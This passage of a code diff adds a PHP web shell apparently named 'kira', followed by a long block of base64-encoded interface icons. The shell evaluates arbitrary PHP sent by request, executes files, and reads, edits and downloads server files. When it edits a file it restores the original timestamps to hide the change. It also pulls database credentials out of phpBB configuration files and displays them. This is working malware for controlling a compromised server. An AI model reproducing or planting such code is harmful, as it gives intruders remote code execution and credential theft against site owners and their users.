    "; + foreach($tab as $i=>$k) + { + echo ""; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} + echo ""; + } + echo "
    ".$v."
    "; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "Result of execution this PHP-code:
    "; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + } + else + { + if ($eval_txt) + { + echo "
    "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + echo "
    "; + if ($ft == "info") + { + echo "Information:"; + if (!$win) + { + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

    "; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
    "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
    "; + $a2 .= "
    "; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
    ";} + echo "
    ".$a0."".$a1."".$a2."

    "; + } + $encoded = ""; + if ($base64 == 1) + { + echo "Base64 Encode
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "Base64 Encode + Chunk
    "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "Base64 Encode + Chunk + Quotes
    "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
    "; + } + if (!empty($encoded)) + { + echo "

    "; + } + echo "HEXDUMP: [Full] [Preview]
    Base64: +
    [Encode +[+chunk +[+chunk+quotes +[Decode +

    "; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {k1r4exit();} + } + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + elseif ($ft == "phpsess") + { + echo "
    ";
    +   $v = explode("|",$r);
    +   echo $v[0]."
    "; + var_dump(unserialize($v[1])); + echo "
    "; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

    Display in text-area
    "; + } + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "phpBB configuration is detected in this file!
    "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

    ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";} + echo "Parameters for manual connect:
    "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + echo "

    "; + } + } + echo "
    "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {k1r4exit();} + echo "
    "; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
    Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

    "; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
      
    "; + } + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> 